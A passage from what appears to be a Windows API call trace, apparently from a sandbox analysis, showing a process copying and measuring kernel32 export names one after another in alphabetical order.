lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0123.073] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0123.073] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0123.073] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0123.073] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0123.073] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0123.073] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0123.073] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0123.073] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0123.073] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0123.073] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0123.073] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0123.073] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0123.073] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0123.073] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0123.074] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0123.074] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0123.074] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0123.074] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0123.074] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0123.074] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0123.074] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0123.074] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0123.074] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0123.074] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0123.074] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0123.074] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0123.074] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0123.074] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0123.074] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0123.074] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0123.074] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0123.074] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0123.074] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0123.074] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0123.074] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0123.074] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0123.074] lstrlenA (lpString="BEEP") returned 4 [0123.074] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0123.074] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0123.074] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0123.074] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0123.074] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0123.074] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0123.074] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0123.074] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0123.074] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0123.074] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0123.074] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0123.074] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0123.074] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0123.074] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0123.074] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0123.074] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0123.074] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0123.074] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0123.074] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0123.075] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0123.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0123.075] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0123.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0123.075] lstrlenA (lpString="CANCELIO") returned 8 [0123.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0123.075] lstrlenA (lpString="CANCELIOEX") returned 10 [0123.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0123.075] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0123.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0123.075] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0123.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0123.075] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0123.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0123.075] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0123.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0123.075] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0123.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0123.075] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0123.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0123.075] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0123.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0123.075] lstrlenA (lpString="CHECKELEVATION") returned 14 [0123.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0123.075] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0123.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0123.076] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0123.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0123.076] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0123.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0123.076] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0123.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0123.076] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0123.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0123.076] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0123.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0123.076] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0123.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0123.076] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0123.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0123.076] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0123.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0123.076] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0123.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0123.076] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0123.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0123.076] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0123.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0123.076] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0123.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0123.076] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0123.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0123.076] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0123.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0123.076] lstrlenA (lpString="CLOSESTATE") returned 10 [0123.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0123.076] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0123.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0123.076] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0123.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0123.076] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0123.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0123.076] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0123.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0123.077] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0123.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0123.077] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0123.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0123.077] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0123.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0123.077] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0123.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0123.077] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0123.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0123.077] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0123.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0123.077] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0123.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0123.077] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0123.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0123.077] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0123.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0123.077] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0123.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0123.077] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0123.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0123.077] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0123.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0123.077] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0123.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0123.077] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0123.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0123.077] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0123.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0123.077] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0123.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0123.077] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0123.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0123.077] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0123.077] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0123.078] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0123.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0123.078] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0123.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0123.078] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0123.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0123.078] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0123.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0123.078] lstrlenA (lpString="COPYCONTEXT") returned 11 [0123.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0123.078] lstrlenA (lpString="COPYFILE2") returned 9 [0123.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0123.078] lstrlenA (lpString="COPYFILEA") returned 9 [0123.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0123.078] lstrlenA (lpString="COPYFILEEXA") returned 11 [0123.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0123.078] lstrlenA (lpString="COPYFILEEXW") returned 11 [0123.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0123.078] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0123.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0123.078] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0123.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0123.078] lstrlenA (lpString="COPYFILEW") returned 9 [0123.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0123.078] lstrlenA (lpString="COPYLZFILE") returned 10 [0123.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0123.078] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0123.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0123.078] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0123.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0123.078] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0123.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0123.078] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0123.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0123.078] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0123.078] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0123.078] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0123.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0123.079] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0123.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0123.079] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0123.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0123.079] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0123.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0123.079] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0123.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0123.079] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0123.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0123.079] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0123.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0123.079] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0123.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0123.079] lstrlenA (lpString="CREATEEVENTA") returned 12 [0123.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0123.079] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0123.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0123.079] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0123.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0123.079] lstrlenA (lpString="CREATEEVENTW") returned 12 [0123.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0123.079] lstrlenA (lpString="CREATEFIBER") returned 11 [0123.079] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0123.079] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0123.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0123.080] lstrlenA (lpString="CREATEFILE2") returned 11 [0123.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0123.080] lstrlenA (lpString="CREATEFILEA") returned 11 [0123.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0123.080] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0123.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0123.080] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0123.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0123.080] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0123.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0123.080] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0123.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0123.080] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0123.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0123.080] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0123.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0123.080] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0123.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0123.080] lstrlenA (lpString="CREATEFILEW") returned 11 [0123.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0123.080] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0123.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0123.080] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0123.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0123.080] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0123.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0123.080] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0123.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0123.080] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0123.080] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0123.080] lstrlenA (lpString="CREATEJOBOBJECTA") 